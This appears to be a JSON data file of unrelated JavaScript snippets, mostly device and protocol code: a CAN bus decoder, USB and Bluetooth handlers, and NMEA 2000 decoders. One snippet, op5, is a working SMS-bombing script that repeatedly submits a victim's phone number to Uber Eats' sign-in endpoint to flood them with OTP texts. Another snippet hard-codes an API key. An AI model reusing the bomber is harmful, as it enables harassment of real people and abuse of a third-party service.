channel_color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG, Should be: \\\" + int_to_str_hex(crc_rg));\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG!\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"E!\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"CRC\\\", int_to_str_hex(val) + \\\"(WRONG)\\\", dark_colors.red, channel_color);\\n\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"CRC ERROR\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (captured)\\\",int_to_str_hex(val), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (calculated)\\\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"!\\\");\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tb += crc_len-1;\\n\\t\\t\\t\\t\\tbit_pos[b] += spb;\\n\\t\\t\\t\\t\\tstate = GET_ACK;\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\twhile (db < 16) //read crc bits\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\n\\t\\t\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t // Regular bit\\n\\t\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\t\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t\\t\\tdb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\n\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tval = 0;\\n\\t\\t\\t\\t\\tb -= 16;\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < 15; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[b + c];\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tcrc_rg = 0;\\t\\t// Now calculate our own crc to compare\\n\\n\\t\\t\\t\\t\\tfor (c = 0; c < b; c++)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tcrc_nxt = bits[c] ^ ((crc_rg >> 14) & 0x1);\\n\\t\\t\\t\\t\\t\\tcrc_rg = crc_rg << 1;\\n\\n\\t\\t\\t\\t\\t\\tif (crc_nxt == 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcrc_rg ^= 0x4599;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tcrc_rg &= 0x7fff;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb) + m, bit_pos[b + 14] + (0.5 * spb) - m); \\t// Add the ID item\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] - (0.5 * spb_hs) + m_hs, bit_pos[b + 14] + (0.5 * spb_hs) - m_hs); \\t// Add the ID item\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC : \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC \\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"CRC\\\");\\n\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (val == crc_rg)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" OK\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1 ,\\\"CRC\\\", int_to_str_hex(val) + \\\" OK\\\", dark_colors.yellow, channel_color);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG, Should be: \\\" + int_to_str_hex(crc_rg));\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\" WRONG!\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"E!\\\");\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"CRC\\\", int_to_str_hex(val) + \\\"(WRONG)\\\", dark_colors.red, channel_color);\\n\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"CRC ERROR\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (captured)\\\",int_to_str_hex(val), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_add_item(0, 0, \\\"CRC (calculated)\\\", int_to_str_hex(crc_rg), dark_colors.red, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_add_post_text(\\\"!\\\");\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tb += 15;\\n\\t\\t\\t\\t\\tstate = GET_ACK;\\n\\t\\t\\t\\t}\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_ACK: \\t// and the EOF too.\\n\\t\\t\\t\\tbit_pos[b] -= spb;// CRC delimiter\\n\\t\\t\\t\\tack_chk = bit_sampler_next(ch);\\n\\t\\t\\t\\tbit_sampler_next(ch); \\t// ACK delimiter\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[b] + (1.5 * spb) + m, bit_pos[b] + (3.5 * spb) - m); \\t// Add the ACK item\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[b] + (2.5 * spb_hs) + m, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m); \\t// Add the ACK item\\n\\n\\t\\t\\t\\tif(ack_chk == 1)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"NO ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"NACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!A\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ACK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"A\\\");\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ACK\\\", ack_chk.toString(10), dark_colors.black, channel_color);\\n\\t\\t\\t\\teof_chk = 0;\\n\\t\\t\\t\\tfor (c = 0; c < 7; c++)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\teof_chk += bit_sampler_next(ch);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] + (3.5 * spb) + m, bit_pos[b] + (10.5 * spb) - m); \\t// Add the EOF item\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[b] + (2.5 * spb_hs) + 2*spb - m, bit_pos[b] + (2.5 * spb_hs) + 9*spb - m); \\t// Add the EOF item\\n\\n\\t\\t\\t\\tif (eof_chk == 7)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"END OF FRAME OK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF OK\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"E\\\");\\n\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EOF\\\", \\\"\\\", dark_colors.blue, channel_color);\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\telse\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"END OF FRAME ERR\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EOF ERR!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!EOF!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!E!\\\");\\n\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"!\\\");\\n\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EOF\\\",\\\"MISSING!\\\", dark_colors.red, channel_color);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b] + (10.5 * spb));\\n\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t//dec_item_new(ch, bit_pos[0] - (0.5 * spb) + m, bit_pos[b] + (0.5 * spb) - m); \\t//<=========================DEBUG ALL THE FRAME\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n}\",\n \"function sendCompleted(usbEvent) {\\n\\tif (chrome.runtime.lastError) {\\n\\t\\tconsole.error(\\\"sendCompleted Error:\\\", chrome.runtime.lastError.message);\\n\\t}\\n\\n\\tif (usbEvent) {\\n\\t\\tif (usbEvent.data) {\\n\\t\\t\\tvar buf = new Uint8Array(usbEvent.data);\\n\\t\\t\\tconsole.log(\\\"sendCompleted Buffer:\\\", usbEvent.data.byteLength, buf);\\n\\t\\t}\\n\\t\\tif (usbEvent.resultCode !== 0) {\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t\\terrorln(\\\"Error writing to device: \\\" + chrome.runtime.lastError.message);\\n\\t\\t}\\n\\t}\\n}\",\n \"getPower() {\\n console.log('getPower called');\\n\\n return this.getLampResURI()\\n .then(response => {\\n return response.power.value;\\n });\\n }\",\n \"function getvolume(dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-15';\\n webphone_api.plhandler.GetVolume(dev, callback);\\n }\\n}\",\n \"function getBzData(uri, method) {\\n var dfd = $.Deferred();\\n\\n // defer get binary\\n var request = new XMLHttpRequest();\\n request.onload = function () {\\n // Process the response\\n if (request.status >= 200 && request.status < 300) {\\n // If successful\\n console.log('request-received');\\n\\n var bytes = bz2.decompress(new Uint8Array(request.response));\\n var jsonObj = JSON.parse(utfDecoder.decode(bytes));\\n dfd.resolve(jsonObj);\\n } else {\\n // If failed\\n dfd.reject({\\n status: request.status,\\n statusText: request.statusText\\n });\\n }\\n }\\n request.open('GET', uri, true);\\n request.responseType = \\\"arraybuffer\\\";\\n request.send();\\n\\n return dfd.promise();\\n }\",\n \"function getHumidity(){\\n execFile('./scripts/humidity', ['hum'], (error, stdout, stderr) => {\\n if (error) {\\n console.error('stderr', stderr);\\n throw error;\\n }\\n console.log('hum: ' + stdout);\\n readData.hum = stdout\\n })\\n}\",\n \"function onEvent(usbEvent) {\\n\\tconsole.log(\\\"onEvent\\\");\\n\\tif (usbEvent.resultCode) {\\n\\t\\tif (usbEvent.resultCode == USB_ERROR_TRANSFER_FAILED) {\\n\\t\\t\\t// Device is connected but we failed to send data.\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t} else if (usbEvent.resultCode == USB_ERROR_DEVICE_DISCONNECTED) {\\n\\t\\t\\tchangeState(state.disconnected);\\n\\t\\t}\\n\\t\\tconsole.log(chrome.runtime.lastError.message + \\\"(code: \\\" + usbEvent.resultCode + \\\") [onEvent]\\\");\\n\\t\\treturn;\\n\\t}\\n\\n\\tvar dv = new DataView(usbEvent.data);\\n\\tvar len = dv.getUint8(0);\\n\\tvar cmd = dv.getUint8(1);\\n\\n\\tswitch (cmd) {\\n\\t\\tcase CMD_DEBUG:\\n\\t\\t{\\n\\t\\t\\tvar msg = \\\"\\\";\\n\\t\\t\\tfor (var i = 0; i < len; i++) {\\n\\t\\t\\t\\tmsg += String.fromCharCode(dv.getUint8(i+2));\\n\\t\\t\\t}\\n\\t\\t\\tmessageln(\\\"debug: '\\\" + msg + \\\"'\\\");\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tcase CMD_PING:\\n\\t\\t\\tmessageln(\\\"ping\\\");\\n\\t\\t\\tbreak;\\n\\t\\tcase CMD_VERSION:\\n\\t\\t{\\n\\t\\t\\tvar version = \\\"\\\" + dv.getUint8(2) + \\\".\\\" + dv.getUint8(3);\\n\\t\\t\\tmessageln(\\\"command: Version \\\" + version);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\terrorln(\\\"unknown command\\\");\\n\\t\\t\\tbreak;\\n\\t}\\n\\n\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n}\",\n \"async function enableBloodPressure() {\\n const command = hexToBase64(\\\"55 aa 04 02 01 f8\\\");\\n // console.log(\\\"TCL: enableBloodPressure -> command\\\", command)\\n const didWrite = await Bluetooth.writeToDevice(command);\\n // console.log(\\\"TCL: enableBloodPressure -> didWrite\\\", didWrite)\\n return didWrite;\\n}\",\n \"_pingDevice () {\\n this._ble.read(\\n BoostBLE.service,\\n BoostBLE.characteristic,\\n false\\n );\\n }\",\n \"RetrieveBeaconBlock(blockHash = '', verbosity = '1') {}\",\n \"async function requestBarcodePrinter() {\\n console.log(navigator)\\n navigator.usb &&\\n navigator.usb\\n .requestDevice({\\n filters: [\\n {\\n vendorId: 5380,\\n // classCode: 0xff, // vendor-specific\\n // protocolCode: 0x01,\\n },\\n ],\\n })\\n .then(selectedDevice => {\\n setBarcodePrinter(selectedDevice)\\n })\\n .catch(errorInfo => {\\n console.log(errorInfo)\\n // message.error(i18n.t`Cannot find label printer`)\\n })\\n }\",\n \"async GetValueBytes(id, command) {\\n var packet = new DpsPacket(id, DpsConstants.sender, command, [0,0,0,0,0,0,0,0]);\\n var result = await this.PacketIO(packet);\\n if ((result && (result.sender != id || result.command != command)) || result == null) return null;\\n else return result.data;\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"scan (){\\n this.comm.getDeviceList().then(result => {\\n this.runtime.emit(this.runtime.constructor.PERIPHERAL_LIST_UPDATE, result);\\n });\\n }\",\n \"XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\\n return new Promise((resolve, reject) => {\\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\\n console.log(\\\"Sending 'START DFU' command\\\");\\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\\n .then( () => this._send_packet_data(image_size_packet) )\\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\\n //TODO .then( () => this._clear_received_response() )\\n });\\n }\",\n \"async function op5(numero, quantidade) {\\n\\t\\n\\tvar ubereats = await tools.curl('https://cn-phx2.cfe.uber.com/rt/silk-screen/submit-form', `{\\\"formContainerAnswer\\\":{\\\"formAnswer\\\":{\\\"flowType\\\":\\\"INITIAL\\\",\\\"screenAnswers\\\":[{\\\"screenType\\\":\\\"PHONE_NUMBER_INITIAL\\\",\\\"fieldAnswers\\\":[{\\\"fieldType\\\":\\\"PHONE_COUNTRY_CODE\\\",\\\"phoneCountryCode\\\":\\\"55\\\"},{\\\"fieldType\\\":\\\"PHONE_NUMBER\\\",\\\"phoneNumber\\\":\\\"${numero}\\\"},{\\\"fieldType\\\":\\\"THIRD_PARTY_CLIENT_ID\\\",\\\"thirdPartyClientID\\\":\\\"\\\"}]}],\\\"firstPartyClientID\\\":\\\"\\\"}}}`, {\\n\\t\\t'Host': 'cn-phx2.cfe.uber.com',\\n\\t\\t'x-uber-client-name': 'eats',\\n\\t\\t'x-uber-device': 'android',\\n\\t\\t'x-uber-device-language': 'pt_BR',\\n\\t\\t'x-uber-client-version': '1.277.10005',\\n\\t\\t'accept': 'application/json',\\n\\t\\t'content-type': 'application/json; charset=UTF-8',\\n\\t\\t'user-agent': 'okhttp/3.12.0-uber2'\\n\\t\\t}, 'POST').then((res) => {\\n\\t\\t\\tif (res.body.match(/SIGN_IN/i)) {\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tif (spam.enviados == 0) {\\n\\t\\t\\t\\t\\tb1.start(quantidade, 0, {\\n\\t\\t\\t\\t\\t\\tenviados: spam.enviados\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\tspam.enviados++\\n\\t\\t\\t\\tspam.status = 1\\n\\t\\t\\t\\tb1.update(spam.enviados, {\\n\\t\\t\\t\\t\\tenviados: spam.enviados\\n\\t\\t\\t\\t});\\n\\t\\t\\t\\t// console.log('Sucesso » [ Numero: %s, Enviados: %s, Retorno: SMS enviado com sucesso. ] #ServerMP'.success, numero, spam.enviados);\\n\\t\\t\\t} else if (res.body.match(/SMS_OTP_TOO_MANY_REQUESTS/i)) {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Excesso de tentativas, tente novamente em breve. ] #ServerMP'.error));\\n\\t\\t\\t} else if (res.body.match(/BANNED/)) {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Numero inserido está com conta desativada. ] #ServerMP'.error));\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tconsole.clear();\\n\\t\\t\\t\\tprocess.exit(console.log('Falhou » [ Ocorreu um error desconhecido. ] #ServerMP'.error));\\n\\t\\t\\t}\\n\\t});\\n\\t\\n\\t// Verificar se o spam ja foi finalizado.\\n\\tif (quantidade == spam.enviados) {\\n\\t\\tb1.start(quantidade, quantidade, {\\n\\t\\t\\tenviados: spam.enviados\\n\\t\\t});\\n\\t\\tprocess.exit(console.log('\\\\n\\\\nAtaque finalizado! #ServerMP'.help));\\n\\t} else {\\n\\t\\top5(numero, quantidade);\\n\\t}\\n\\t\\n}\",\n \"async function writepumpdurationtoBLE(num){\\n console.log('Attempting bluetooth write')\\n var arrInt8 = toBytesInt16(num)\\n ble.twrite_pumpduration=performance.now()\\n try{\\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\\n console.log(textstr)\\n ble.statustext = textstr\\n // \\n //wdm(textstr)\\n }\\n catch(error) {\\n var textstr = 'Could not write pump duration to ble device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
\\\" + textstr\\n \\n }\\n}\",\n \"function cerial() {\\n getPortInfo()\\n .then( (portDetails) => handleSensor(portDetails))\\n .catch((error) => console.log(error));\\n // port.write('ROBOT PLEASE RESPOND\\\\n');\\n // The parser will emit any string response\\n}\",\n \"function get24HBTCData() {\\r\\n\\tvar result;\\r\\n\\tvar request = new XMLHttpRequest();\\r\\n\\trequest.open('GET',\\r\\n\\t\\t'https://min-api.cryptocompare.com/data/v2/histohour?fsym=BTC&tsym=USD&limit=24&api_key=45419ed9fb65b31861ccb009765d97bb619e9eccedc722044457d066cbfb0a8b', false)\\r\\n\\trequest.send(null);\\r\\n\\tresult = JSON.parse(request.responseText);\\r\\n\\treturn result;\\r\\n}\",\n \"function getHSDevices(filter,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action=getdevices&filter='+filter+'&verbose=yes',\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n });\\n}\",\n \"function Bus_Phase(decoder_items) // 65001-65006\\n{\\n var str = \\\"\\\";\\n switch (data_nb)\\n {\\n case 0 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 1 :\\n {\\n multi_byte_value += (hex_value<<8);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Line-Line AC RMS Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"Line-Line Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n case 2 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 3 :\\n {\\n multi_byte_value += (hex_value<<8);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Line-Neutral AC RMS Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_add_content((multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"Line-Neutral Voltage : \\\" + (multi_byte_value.toString().replace(/(\\\\d)(?=(\\\\d{3})+\\\\b)/g,'$1 ')) + \\\" V\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n case 4 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 5 :\\n {\\n multi_byte_value += (hex_value<<8);\\n multi_byte_value = Math.floor(multi_byte_value/128);\\n ScanaStudio.dec_item_new(decoder_items.channel_index,start_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"AC Frequency : \\\" + multi_byte_value + \\\"Hz\\\");\\n ScanaStudio.dec_item_add_content(multi_byte_value + \\\" kWh\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n decoder_items.end_sample_index,\\n \\\"Data\\\",\\n (\\\"AC Frequency : \\\" + multi_byte_value + \\\"Hz\\\"),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n default :\\n {\\n packet_title = \\\"Filled Data\\\";\\n if (hex_value == 255)\\n {\\n item_content = \\\"Filled with 0xFF\\\";\\n }\\n else\\n {\\n item_content = \\\"0x\\\" + pad(hex_value.toString(16),2) + \\\", should be 0xFF\\\";\\n types_title = ScanaStudio.PacketColors.Error.Title;\\n types_content = ScanaStudio.PacketColors.Error.Content;\\n }\\n break;\\n }\\n }//end switch (data_nb)\\n}//end function Bus_Phase_C\",\n \"function proprietary_fast_packet (decoder_items) //126720/130816/130817/130818/130819/130820/130821/130824/130827/130828/130831/130832/130834/130835/130836/130837/130838/130839/130840/130842/130843/130845/130847/130850/130851/130856/130880/130881/130944\\n{\\n var str = \\\"\\\";\\n switch (fast_packet_byte)\\n {\\n case 1 :\\n {\\n start_item = decoder_items.start_sample_index;\\n multi_byte_value = hex_value;\\n skip_item = true;\\n break;\\n }\\n case 2 :\\n {\\n var manufacturer_code = multi_byte_value + (((hex_value>>5)&0x7)<<8);\\n var reserved = (hex_value>>3)&0x3;\\n var industry_code = hex_value&0x7;\\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*3;\\n str = LOOKUP_MANUFACTURER(manufacturer_code);\\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\\n ScanaStudio.dec_item_add_content(\\\"Manufacturer Code : \\\" + str);\\n ScanaStudio.dec_item_add_content(\\\"\\\" + str);\\n ScanaStudio.dec_item_add_content(str);\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n end_item,\\n \\\"Fast Packet Data\\\",\\n (\\\"Manufacturer Code : \\\" + str),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n start_item = end_item;\\n end_item = decoder_items.start_sample_index + (decoder_items.end_sample_index - decoder_items.start_sample_index)/8*5;\\n ScanaStudio.dec_item_new(decoder_items.channel_index, start_item, end_item);\\n 